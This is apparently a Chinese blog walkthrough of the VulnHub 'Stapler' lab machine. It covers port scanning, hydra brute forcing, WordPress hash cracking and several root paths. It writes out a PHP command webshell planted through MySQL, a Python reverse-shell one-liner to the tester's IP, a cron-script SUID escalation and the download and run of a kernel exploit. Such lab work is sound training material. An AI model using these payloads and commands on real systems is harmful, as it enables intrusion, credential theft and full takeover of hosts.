文章目录
0x00
原文链接(个人博客):https://bilala.gitee.io/2022/03/11/Stapler/
0x01 靶机安装
难度定位:简单(https://github.com/Ignitetechnologies/CTF-Difficulty
靶机介绍:https://www.vulnhub.com/entry/stapler-1,150/
–> 作者说至少有两种方法拿到普通权限shell,至少三种方法拿到root权限 <–
❕❕在导入靶机到VMware时会跳出这个报错(不知道导VirtualBOX会不会报
解决方法:编辑Stapler.ovf文件,将文档中所有的Caption
替换为ElementName
,保存;再删除Stapler.mf文件;再导入即可
0x02 靶机发现
利用nmap工具找到目标靶机的ip
nmap -n -sn 192.168.189.0/24
// -n :不做DNS解析
// -sn :不进行端口扫描
找到靶机IP为192.168.189.130
0x03 端口探测
nmap -sS -sV -O -p- 192.168.189.130
// -sS :使用SYN扫描
// -sV :探测端口服务版本信息
// -O :进行系统探测
// -p :指定端口扫描,如-p 1-1000 ,-p-意为指定所有端口
整理扫描信息得到:
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
53/tcp open domain dnsmasq 2.75
80/tcp open http PHP cli server 5.5 or later
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
666/tcp open doom?
3306/tcp open mysql MySQL 5.7.12-0ubuntu1
12380/tcp open http Apache httpd 2.4.18 ((Ubuntu))
0x04 信息收集
端口21:FTP服务
继续利用nmap工具对此端口进行更深的扫描,发现此端口存在匿名登录的漏洞
nmap -sS -sV -O -A -p21 192.168.189.130
// -A :一次扫描包含系统探测、版本探测、脚本扫描和跟踪扫描(全面扫描
利用此漏洞登录进FTP后,发现一条留言,同时其中只有note文件
获取note文件内容,发现也是一条留言
至此,整理一下我们获取到的名字,Elly,John,Harry
将这三个名字作为hydra密码爆破的用户名字典(全大写,全小写,首字母大写,如下
再利用hydra工具对FTP服务进行密码爆破
hydra -L user.txt -e nsr 192.168.189.130 ftp
// -L:指定用户名字典
// -e:还可再选的选项,n:null,空密码试探 s:使用与用户名一样的密码试探 r:reverse,使用用户名逆转的密码试探
将得到的elly:ylle
登录进FTP,发现挂载在根目录下
取出其中的passwd文件,查看内容
这里我们选取出有登录shell的用户
cat passwd | grep -E "/bin/sh|/bin/bash|/bin/zsh" | cut -d : -f 1 |tee sshuser.txt
用这个用户字典去继续爆破ftp服务后,发现了SHayslett:SHayslett
,登录后发现和elly用户的内容一样,再试探22端口服务
端口22:SSH服务
hydra -L sshuser.txt -e nsr 192.168.189.130 ssh
找到SHayslett:SHayslett
,登录后发现一条留言,并且在/var/www目录下发现了https目录
尝试用https访问192.168.189.130(靶机地址),无果,猜测网站没开放在默认端口,这里留个心眼先
端口80:HTTP服务
访问靶机的80端口,跳出404页面,用nikto漏扫工具探测一下
nikto --host http://192.168.189.130/
下载扫出的两个目录并未发现什么有效信息
端口139:SMB服务
enum4linux工具用于枚举Windows和Samba主机中的数据
enum4linux -a 192.168.189.130 | tee smb.txt
// -a:使用所有简单枚举
在结果中发现两个可以连接的共享路径
利用smbclient工具连进SMB服务
smbclient -N //192.168.189.130/tmp
// -N:空口令登录
在tmp下没发现什么有效信息,用同样方法进入kathy路径,发现三个文件
端口666:未知服务
对于未知服务,可以尝试用nc去连接
nc 192.168.189.130 666
,发现是一个压缩包,并且其中还有一个图片
将数据重定向到本地并解压,得到一张图片,打开发现又是一条留言
nc 192.168.189.130 666 > 666 && unzip 666
端口3306:MySQL服务
用超级弱口令工具,用户名导入之前存下的,密码用自带的(当然结果是没有爆出什么
端口12380:HTTP服务
访问端口,就显示coming soon,其他并没有什么能点击的地方
回想起之前SSH连进去后发现的https目录,尝试用https访问,终于发现靶机的web页面
(用nikto工具也是可以扫出是https访问
0x05 web渗透
SSH的时候已经看到了网站的目录了,一个一个访问过去,最后在blogblog路径下发现信息
我们重新ssh进去此目录下查看,在wp-config.php中发现了数据库root登录的账号密码!
连接进数据库发现了wp_users表,里面存放了当前网站的所有用户信息
将其中的账号和密码列导出,再用john工具配合kali自带字典进行爆破
john --wordlist=/usr/share/wordlists/rockyou.txt wp_users.txt
// rockyou.txt是从rockyou.txt.gz中解压出的,需要用户自行去目录中解压
访问https://192.168.189.130:12380/blogblog/wp-login.php
(为什么是这个路径?ssh进去看咯
用John:incorrect
登录进去,发现正好是管理员(选john是因为他是表中的第一个,没想到正好是admin
在后台到处瞎看,在plugins中发现了可以文件上传的地方,这不用多说了把,该甩shell试试了
到这一步的时候,我人都傻掉了,突然意识到ssh进去的不就是一个shell嘛(有被自己蠢到
0x06 权限提升
那就直接用那个能登录的ssh终端
查看靶机的bash命令历史
cat /home/*/.bash_history | grep -v exit
// -v:不选出所带参数
发现两个新的ssh用户,登录查看权限
peter用户发现具有sudo组权限,sudo -l
查看sudo权限
(ALL:ALL) ALL
表示peter可以以(任意用户:任意用户组)运行任意命令
直接运行sudo su - root
获取root权限
至此,靶机渗透结束
0x07 补充
从22端口直接入手,发现都可以省去web渗透的过程了,当然拿到flag并不是我们的最终目的,所以我们还要像作者所说那样,找到不止一条通往root权限的道路。那现在就让我们忘掉ssh拿到的shell重新审视这个靶机吧。
nikto工具扫出https
从我们的12380端口开始,当时也提到了可以用nikto工具扫一下,我们来看看扫描结果
nikto --host http://192.168.189.130:12380/
从结果中我们可以看到扫出了SSL证书,说明确实要用https访问,并且结果中还扫出来几个目录
wpscan
访问nikto扫出的几个目录,在blogblog页面底部有显示wordpress,我们可以用wpscan工具(专门用来扫wordpress网站)来扫描这个网站(使用前需要先配置API token
wpscan --url https://192.168.189.130:12380/blogblog/ --enumerate ap --disable-tls-checks --plugins-detection aggressive| tee wpscan.txt
// --enumerate:枚举信息 ap选项:枚举所有插件
// --disable-tls-checks:忽略TLS检查
// --plugins-detection:使用对应的模式枚举插件 aggressive:主动模式
扫描出的插件有四个,我们把关注点放在这个插件上
这个插件有个LFI漏洞,在网上搜到exp,运行后发现报错,原因是SSL: CERTIFICATE_VERIFY_FAILED
再次运行后发现没任何回显
回到blogblog主页发现多了一张新图片,查看源码找到图片路径
访问后看不到什么内容,将其下载到本地查看
wget --no-check-certificate https://192.168.189.130:12380/blogblog/wp-content/uploads/130588693.jpeg
cat
后发现就是wp-config.php的内容
接下来就是登录数据库了,然后爆出用户密码,登录后台(和前边一样,这里就不赘述了
shell获取②:冰蝎马获取shell
到了后台,我们前边也说到了,可以上传文件,我们这里尝试上传个冰蝎的php马,最终也是在https://192.168.189.130:12380/blogblog/wp-content/uploads/
这个目录下找到shell.php
使用冰蝎连接webshell获取shell(默认密码rebeyond
shell获取③:利用php-reverse-shell.php获取shell
文件地址:https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
自定义其中的ip地址(需要反弹的地址)和端口号
文件上传后,在本地监听对应端口,并且在uploads目录下点击该文件,获取到反弹的shell
shell获取④:MySQL写马获取shell
先利用elly:ylle
登进ftp,获取apache2/sites-available/default-ssl.conf
文件,查看其中内容,发现https路径在/var/www/https
登录进MySQL,写入我们的shell文件
mysql -h192.168.189.130 -uroot -pplbkac
MySQL [(none)]> SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/https/blogblog/wp-content/uploads/mysqlshell.php";
从网页访问这个文件,传入cmd=id
发现成功执行命令
接下来就利用cmd调用python命令反弹shell(记得先在本地监听端口
cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.189.129",2334));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
提权②:Cron Jobs 提权
使用任意一种方法获取shell后,在靶机中查找cronjobs定时计划任务
ll /etc/*corn*
最后在/etc/cron.d/logrotate
这个文件中发现了以root用户执行的定时任务
该行意思为:每五分钟以root用户执行一次后边的命令,也就是.sh脚本
查看该脚本内容以及权限
脚本权限为rwxrwxrwx
,所以我们可以对其任意的修改
echo "cp /bin/bash /tmp/cronroot; chown root:root /tmp/cronroot; chmod u+s /tmp/cronroot" > /usr/local/sbin/cron-logrotate.sh
接下来就是等待五分钟执行定时任务,在/tmp目录下找到生成的文件,并且也具有我们设置的权限rws
直接/tmp/cronroot -p
获取root权限(也就是suid提权中的bash -p
提权③:CVE-2016-4557 内核漏洞提权
获取shell后,查看系统内核和发行版信息
uname -a
lsb_release -a
得知内核版本为4.4.0-21-generic
,发行版为16.04 LTS
,利用CVE进行提权
在gitee上下载exp的压缩包,并将其解压
wget https://gitee.com/novaiminipekka/exploitdb-bin-sploitsss/raw/master/bin-sploits/39772.zip
unzip 39772.zip
我们需要将其中的exploit.tar上传到靶机中,利用python在kali中起一个http服务
python -m SimpleHTTPServer 8000
在靶机shell中下载exploit.tar,并将其解压
wget http://192.168.189.129:8000/exploit.tar
tar xvf exploit.tar
最后在ebpf_mapfd_doubleput_exploit/
目录下,执行./compile.sh
和./doubleput
命令即可获取root权限
0x08 总结/收获
①:了解了更多的工具
如nmap
的一些命令,wpscan
用来扫wordpress网站,nikto
用来当漏扫;还有hydra
工具的密码爆破,john
工具根据已知密文破解出明文等等
②:了解了一些重要文件
如passwd
文件存储主机用户信息,/proc/version
uname -a
lsb_release -a
查看系统及内核版本信息;还有wp-config.php
中存储wordpress的配置信息(这好像看名字就能知道…)
③:了解了三种提权方法
sudo提权 sudo -l
,CronJobs提权 ll /etc/*corn*
,CVE-2016-4557提权(4.4.x内核版本,Ubuntu16.04LTS发行版)
0x09 参考文章
nmap的命令详解:https://blog.csdn.net/qq_26090065/article/details/80285088
hydra的命令详解:https://blog.csdn.net/m0_37268841/article/details/99682258
passwd文件:https://www.linuxprobe.com/explain-etc-passwd.html
sudo命令详解:https://www.cnblogs.com/jing99/p/9323080.html
cronjobs提权:https://xz.aliyun.com/t/2401
writeup参考:https://ciphersaw.me/2021/08/29/vulnhub-stapler-1/